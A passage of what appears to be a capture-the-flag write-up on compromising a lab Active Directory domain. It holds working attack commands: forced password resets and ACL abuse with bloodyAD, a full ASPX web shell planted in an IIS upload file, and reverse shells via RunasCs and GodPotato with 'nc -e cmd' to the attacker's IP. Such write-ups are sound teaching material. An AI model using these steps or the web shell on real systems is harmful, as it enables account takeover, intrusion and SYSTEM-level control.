       ACE Type  : ACCESS_ALLOWED_ACE

════════════════════════════════════════════════════════════════════════════════

Adding GenericAll right using bloodyAD.

1
2
> bloodyAD --host 10.1.80.79 -d city.local -u emma.hayes -p '[REDACTED]' add genericAll 'OU=CityOps,DC=city,DC=local' emma.hayes
[+] emma.hayes has now GenericAll on OU=CityOps,DC=city,DC=local

Cheking emma right again …

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
> python3 aclhug.py --dc-ip 10.1.80.79 -d city.local -u svc_services_portal -p '[REDACTED]' -t emma.hayes                          

  🔴 CRITICAL  GenericAll
       Target    : rita.cho  [top | person | organizationalperson | user]
       DN        : CN=Rita Cho,OU=CityOps,DC=city,DC=local
       Rights    : GenericAll
       Technique : Full Object Control — read, write, delete, change owner, modify DACL
       Methods   : force-change-password, add-member, write-dacl, take-ownership, shadow-credentials, set-spn, set-rbcd, set-primary-group, set-scriptpath, write-property
       Attack    : Exploit any of the listed methods. GenericAll = complete account
                   takeover.
       ACE Type  : ACCESS_ALLOWED_ACE [inherited]

  🔴 CRITICAL  GenericAll
       Target    : alex.king  [top | person | organizationalperson | user]
       DN        : CN=Alex King,OU=CityOps,DC=city,DC=local
       Rights    : GenericAll
       Technique : Full Object Control — read, write, delete, change owner, modify DACL
       Methods   : force-change-password, add-member, write-dacl, take-ownership, shadow-credentials, set-spn, set-rbcd, set-primary-group, set-scriptpath, write-property
       Attack    : Exploit any of the listed methods. GenericAll = complete account
                   takeover.
       ACE Type  : ACCESS_ALLOWED_ACE [inherited]

  🔴 CRITICAL  GenericAll
       Target    : sam.brooks  [top | person | organizationalperson | user]
       DN        : CN=Sam Brooks,OU=CityOps,DC=city,DC=local
       Rights    : GenericAll
       Technique : Full Object Control — read, write, delete, change owner, modify DACL
       Methods   : force-change-password, add-member, write-dacl, take-ownership, shadow-credentials, set-spn, set-rbcd, set-primary-group, set-scriptpath, write-property
       Attack    : Exploit any of the listed methods. GenericAll = complete account
                   takeover.
       ACE Type  : ACCESS_ALLOWED_ACE [inherited]

  🔴 CRITICAL  GenericAll
       Target    : CityOps  [top | organizationalunit]
       DN        : OU=CityOps,DC=city,DC=local
       Rights    : GenericAll
       Technique : Full Object Control — read, write, delete, change owner, modify DACL
       Methods   : force-change-password, add-member, write-dacl, take-ownership, shadow-credentials, set-spn, set-rbcd, set-primary-group, set-scriptpath, write-property
       Attack    : Exploit any of the listed methods. GenericAll = complete account
                   takeover.
       ACE Type  : ACCESS_ALLOWED_ACE
<SNIP>

Now we can perform a forced password change attack against sam.brooks.

1
2
> bloodyAD --host 10.1.80.79 -d city.local -u emma.hayes -p '[REDACTED]' set password sam.brooks 'Password@123'                 
[+] Password changed successfully!

Cheking account via nxc …

1
2
3
> nxc smb 10.1.80.79 -u sam.brooks -p 'Password@123'                                          
SMB         10.1.80.79      445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.80.79      445    DC-CC            [-] city.local\sam.brooks:Password@123 STATUS_ACCOUNT_DISABLED 

The aacount is disabled, we can enable it using bloodyAD by deleting ACCOUNTDISABLE flag.

1
2
3
4
5
6
7
8
> bloodyAD --host 10.1.80.79 -d city.local -u emma.hayes -p '[REDACTED]' get object sam.brooks --attr userAccountControl                   

distinguishedName: CN=Sam Brooks,OU=CityOps,DC=city,DC=local
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT


> bloodyAD --host 10.1.80.79 -d city.local -u emma.hayes -p '[REDACTED]' set object sam.brooks userAccountControl -v '512' --raw                       
[+] sam.brooks's userAccountControl has been updated

The method has already been explained here.

Checking account again …

1
2
3
> nxc smb 10.1.80.79 -u sam.brooks -p 'Password@123'
SMB         10.1.80.79      445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.80.79      445    DC-CC            [+] city.local\sam.brooks:Password@123 


Connect via winrm then grep user flag from sam.brooks desktop.

Jumping to web_admin

We had emma.hayes, a low-privileged account sitting in the environment with some dangerous ACLs, one of them is WriteAllProperties over the Quarantine OU.

That permission wasn’t scoped to the OU alone, it inherited down to every object living inside it, including our target, web_admin. And once you hold WriteAllProperties directly on an object, you’re no longer just editing attributes. You’re opening the door to an LDAP modifyDN operation, which is exactly what bloodyAD leveraged to silently relocate web_admin out of Quarantine and into CityOps, no DeleteChild required, no loud noise, just a clean object move.

1
2
> bloodyAD --host 10.1.80.79 -d city.local -u emma.hayes -p '[REDACTED]' set object web_admin distinguishedName -v 'CN=Web Admin,OU=CityOps,DC=city,DC=local' 
[+] web_admin's distinguishedName has been updated   

We had already use WriteDACL over CityOps OU, we quietly slipped ourselves GenericAll, full control over the OU and anything that lands in it. So the moment web_admin crossed into CityOps, it fell under our complete authority.

From there, it was a matter of abusing the User-Force-Change-Password extended right that comes bundled with GenericAll, resetting web_admin password

1
2
> bloodyAD --host 10.1.80.79 -d city.local -u emma.hayes -p '[REDACTED]' set password web_admin 'Password@123'                                                  
[+] Password changed successfully!

Chcking account …

1
2
3
> nxc smb 10.1.80.79 -u web_admin -p 'Password@123'
SMB         10.1.80.79      445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.80.79      445    DC-CC            [+] city.local\web_admin:Password@123 

Escalate our Privileges

At this stage, although we have successfully compromised the credentials of the web_admin account, we lack any direct interactive access to it, as neither RDP nor WinRM are accessible under this account’s privileges.

To work around this restriction, the strategy is to first authenticate to the target host via WinRM using the sam.brooks user, who does have the necessary remote management permissions.

1
2
3
4
5
6
7
8
9
10
> evil-winrm -i 10.1.80.79 -u sam.brooks -p 'Password@123'                               
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sam.brooks\Documents> whoami

Once a remote session is established, we can utilize RunasCs, its an improved open-source alternative to runas.exe that accepts credentials via command line and supports I/O redirection to execute arbitrary commands in the security context of web_admin.

Since RunasCs is not pre-installed on Windows systems, we need to download the binary on our attacking machine and transfer it to the target host prior to execution.

1
2
3
4
5
*Evil-WinRM* PS C:\temp> .\RunasCs.exe web_admin 'Password@123' "whoami"
[*] Warning: User profile directory for user web_admin does not exists. Use --force-profile if you want to force the creation.
[*] Warning: The logon for user 'web_admin' is limited. Use the flag combination --bypass-uac and --logon-type '5' to obtain a more privileged token.

city\web_admin

Fortunately, RunasCs provides the -r option, which redirects `stdin`, `stdout`, and `stderr` of the spawned process to a remote host, making it straightforward to obtain a reverse shell as `web_admin` without the need for an additional payload.

1
2
3
4
5
6
7
*Evil-WinRM* PS C:\temp> .\RunasCs.exe web_admin 'Password@123' "cmd.exe" -r <tun0 IP>:4444
[*] Warning: User profile directory for user web_admin does not exists. Use --force-profile if you want to force the creation.
[*] Warning: The logon for user 'web_admin' is limited. Use the flag combination --bypass-uac and --logon-type '5' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-1fa469$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 5440 created in background.

We have successfully obtained a shell as web_admin.

1
2
3
4
5
6
7
8
9
> nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.1.80.79 50246
Microsoft Windows [Version 10.0.17763.5936]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
city\web_admin

Since we now have code execution under the web_admin account, and we previously identified a web application running on IIS, the next step is to enumerate the web root files located in the C:\inetpub directory, the default IIS web root on Windows systems.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
C:\Windows\system32>cd C:\inetpub
cd C:\inetpub

C:\inetpub>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is CCCC-FB95

 Directory of C:\inetpub

10/24/2025  06:50 AM    <DIR>          .
10/24/2025  06:50 AM    <DIR>          ..
10/24/2025  06:50 AM    <DIR>          custerr
02/06/2026  04:40 AM    <DIR>          history
10/24/2025  10:10 AM    <DIR>          logs
10/24/2025  06:50 AM    <DIR>          temp
02/06/2026  07:26 AM    <DIR>          wwwroot
               0 File(s)              0 bytes
               7 Dir(s)  34,360,836,096 bytes free

C:\inetpub>cd wwwroot
cd wwwroot

C:\inetpub\wwwroot>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is CCCC-FB95

 Directory of C:\inetpub\wwwroot

02/06/2026  07:26 AM    <DIR>          .
02/06/2026  07:26 AM    <DIR>          ..
02/06/2026  05:20 AM            23,030 city-news.html
02/06/2026  07:21 AM        10,186,198 city_services_portal.bin
10/31/2025  12:12 PM        10,816,349 city_services_portal.exe
02/22/2026  12:22 PM            26,031 documents-forms.html
02/06/2026  05:35 AM            29,263 emergeny-infos.html
02/06/2026  05:36 AM            25,807 faqs.html
02/06/2026  05:14 AM            24,118 index.html
11/28/2025  02:26 PM    <DIR>          uploads
               7 File(s)     21,130,796 bytes
               3 Dir(s)  34,360,836,096 bytes free

C:\inetpub\wwwroot>cd uploads
cd uploads

C:\inetpub\wwwroot\uploads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is CCCC-FB95

 Directory of C:\inetpub\wwwroot\uploads

11/28/2025  02:26 PM    <DIR>          .
11/28/2025  02:26 PM    <DIR>          ..
10/24/2025  11:23 AM             1,218 test.aspx
               1 File(s)          1,218 bytes
               2 Dir(s)  34,360,836,096 bytes free

Upon enumerating the C:\inetpub directory, we discovered an ASPX file named test.aspx within the uploads directory. Notably, this file is directly accessible via the browser, meaning it is being served by IIS.

Test file

As confirmed by the icacls output, web_admin holds Modify (M) permissions over test.aspx, meaning we can overwrite its contents.

1
2
3
4
5
6
7
8
9
10
C:\inetpub\wwwroot\uploads>icacls "C:\inetpub\wwwroot\uploads\test.aspx"
icacls "C:\inetpub\wwwroot\uploads\test.aspx"
C:\inetpub\wwwroot\uploads\test.aspx BUILTIN\IIS_IUSRS:(I)(RX)
                                     CITY\web_admin:(I)(M)
                                     NT SERVICE\TrustedInstaller:(I)(F)
                                     NT AUTHORITY\SYSTEM:(I)(F)
                                     BUILTIN\Administrators:(I)(F)
                                     BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Since this file is served by IIS, it executes under the IIS application pool identity, so by replacing it with a malicious ASPX web shell or reverse shell payload, we can obtain code execution under the IIS service account.


  • Web Shell
1
2
C:\inetpub\wwwroot\uploads>echo ^<%@ Page Language="C#" %^>^<%@ Import Namespace="System.Diagnostics" %^>^<% string c = Request["cmd"]; if (!string.IsNullOrEmpty(c)) { Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + c; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.Start(); Response.Write(new System.IO.StreamReader(p.StandardOutput.BaseStream).ReadToEnd()); p.WaitForExit(); } %^> > C:\inetpub\wwwroot\uploads\test.aspx
echo ^<%@ Page Language="C#" %^>^<%@ Import Namespace="System.Diagnostics" %^>^<% string c = Request["cmd"]; if (!string.IsNullOrEmpty(c)) { Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + c; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.Start(); Response.Write(new System.IO.StreamReader(p.StandardOutput.BaseStream).ReadToEnd()); p.WaitForExit(); } %^> > C:\inetpub\wwwroot\uploads\test.aspx

To confirm that our web shell is functional, we access test.aspx via the browser to verify that it is executing correctly under the IIS application pool identity.

web shell

Then, we can easily obtain a reverse shell.

1
2
3
4
5
6
> nc -nlvp 8888
Listening on 0.0.0.0 8888
Connection received on 10.1.80.79 50718

PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool

Next, we enumerate the privileges assigned to the current application pool identity.

We observe that the current identity has SeImpersonatePrivilege enabled. This privilege allows the process to impersonate a client after authentication, which can be leveraged to escalate privileges to NT AUTHORITY\SYSTEM via the Potato family of exploits. Given the environment, GodPotato is a suitable candidate for exploitation.

To proceed with exploitation, we transfer GodPotato and Netcat binaries to the target machine.

We set up a netcat listener on the attacker machine to catch the incoming connection:

1
2
> nc -nlvp 8443
Listening on 0.0.0.0 8443

We then execute GodPotato, specifying our netcat binary as the command to run upon successful impersonation.

1
PS C:\temp> .\GodPotato-NET4.exe -cmd "nc.exe <tun0 IP> 8443 -e cmd"

As a result, we successfully receive a reverse shell running under the context of NT AUTHORITY\SYSTEM, confirming full privilege escalation on the target machine.

1
2
3
4
5
6
7
8
9
10
11
> nc -nlvp 8443
Listening on 0.0.0.0 8443

Connection received on 10.1.80.79 50905

Microsoft Windows [Version 10.0.17763.5933]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\temp>whoami
whoami
nt authority\system

Finally we can obtain the root flag.

1
2
3
4
5
6
7
8
9
10
11
12
C:\temp>dir c:\Users\Administrator\Desktop
dir c:\Users\Administrator\Desktop
 Volume in drive C has no label.
 Volume Serial Number is CCCC-FB95

 Directory of c:\Users\Administrator\Desktop

02/27/2026  07:55 AM    <DIR>          .
02/27/2026  07:55 AM    <DIR>          ..
10/24/2025  11:53 AM             1,230 root.txt
               1 File(s)          1,230 bytes
               2 Dir(s)  34,359,267,328 bytes free
This post is licensed under CC BY 4.0 by the author.